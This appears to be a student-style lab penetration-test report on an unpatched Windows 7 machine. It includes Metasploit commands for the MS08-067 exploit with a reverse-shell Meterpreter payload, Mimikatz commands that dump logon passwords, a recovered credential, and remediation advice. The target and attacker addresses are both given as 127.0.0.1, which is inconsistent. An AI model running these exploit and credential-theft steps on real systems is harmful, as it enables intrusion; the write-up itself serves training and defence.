Windows 7 Pentesting Project – qazipentester

Date: 7/7/2025
Target IP: 127.0.0.1

Table of Contents

---

1. Introduction

This project simulates a penetration test against a vulnerable Windows 7 target in a lab environment.

---

2. Objectives

- Perform recon, enumeration, exploitation
- Gain SYSTEM access
- Extract credentials
- Document vulnerabilities
- Suggest remediations

---

3. Tools Used

Tool	Purpose
Nmap	Network scanning
Metasploit	Exploitation
Mimikatz	Credential extraction
Netcat	Reverse shell
PowerShell	Post-exploitation scripting

---

4. Lab Setup

- **Target:** Windows 7 SP1 (Unpatched)

- **Attacker:** Kali Linux 2024.2
- **IP Range:** 127.0.0.1 (lab only)
- **Firewall:** Disabled

---

5. Methodology

Reconnaissance:

```
nmap -sS -A -T4 -p- 127.0.0.1
```

Enumeration:

- SMB shares, open ports
- Enum4linux, SMBClient

Exploitation (MS08-067):

```
use exploit/windows/smb/ms08_067_netapi
set RHOST 127.0.0.1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
exploit
```

Post Exploitation:

```
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
```

---

6. Vulnerabilities

CVE	Name	Tool
CVE-2008-4250	MS08-067 RCE	Metasploit
CVE-2017-0144	EternalBlue SMBv1	Metasploit
Weak Hashing	LM Hashes	Mimikatz

---

7. Exploitation Results

- **Meterpreter Shell** gained
- **NT AUTHORITY\SYSTEM** confirmed
- **Mimikatz** shows Admin:Passw0rd123

---

8. Remediation

- Upgrade OS or patch MS08-067/MS17-010
- Disable SMBv1
- Use AV and strong password policies

---

9. Screenshots

(Insert screenshots here if exporting to Word or adding manually)

---

10. Conclusion

Windows 7 is vulnerable to critical exploits like MS08-067 and EternalBlue. This project shows that outdated systems are easy targets.

---

11. References

- https://nvd.nist.gov
- https://attack.mitre.org
- https://docs.rapid7.com/metasploit
- https://github.com/gentilkiwi/mimikatz